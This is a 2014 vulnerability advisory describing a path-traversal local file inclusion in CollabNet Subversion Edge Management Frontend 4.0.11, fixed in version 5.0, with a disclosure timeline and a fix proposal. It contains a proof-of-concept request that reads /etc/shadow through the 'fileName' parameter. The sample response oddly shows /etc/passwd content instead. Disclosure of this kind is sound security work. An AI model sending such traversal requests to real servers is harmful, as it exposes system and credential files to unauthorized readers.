Vuln Title: Local file inclusion in CollabNet Subversion Edge Management

Frontend via "fileName" parameter of the show action

Date: 10.10.2014

Author: otr

Software Link: https://www.open.collab.net/downloads/svnedge

Vendor: CollabNet

Version: 4.0.11

Tested on: Fedora Linux

Type: Local file inclusion

Risk: Medium

Status: public/fixed

Fixed version: 5.0

Timeline:

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "fileName" parameter of the show action

Vulnerability:

Request:
	GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1
	Host: example.com:4434

Response:
	HTTP/1.1 200 OK
	[...]
	<div class="span3">../../../../../../etc/passwd</div>
	[...]
	root:x:0:0:root:/root:/bin/bash

Fix proposal:

Remove feature or santizes the fileName parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[…] now allow only showing hooks/logs within the intended directories.